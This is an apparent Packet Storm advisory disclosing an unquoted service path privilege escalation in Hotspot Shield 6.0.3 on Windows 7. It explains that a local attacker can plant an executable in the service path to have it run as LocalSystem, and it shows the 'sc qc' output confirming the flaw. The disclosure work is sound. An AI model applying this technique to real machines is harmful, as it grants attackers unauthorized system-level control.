Hotspot Shield 6.0.3 Privilege Escalation

2016-10-13T00:00:00
ID PACKETSTORM:139140
Type packetstorm
Reporter Amir.ght
Modified 2016-10-13T00:00:00

Description

                                        
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# Exploit Title: Hotspot Shield Unquoted Service Path Privilege Escalation  
# Date: 13/10/2016  
# Author: Amir.ght  
# Vendor Homepage: https://www.hotspotshield.com  
# Software Link:  
https://www.hotspotshield.com/download/  
#version : 6.0.3 (Latest)  
# Tested on: Windows 7  
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Hotspot Shield installs as a service with an unquoted service path  
To properly exploit this vulnerability,  
the local attacker must insert an executable file in the path of the service.  
Upon service restart or system reboot, the malicious code will be run  
with elevated privileges.  
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C:\>sc qc hshld  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: hshld  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files\Hotspot Shield\bin\cmw_srv.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : Hotspot Shield Service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
`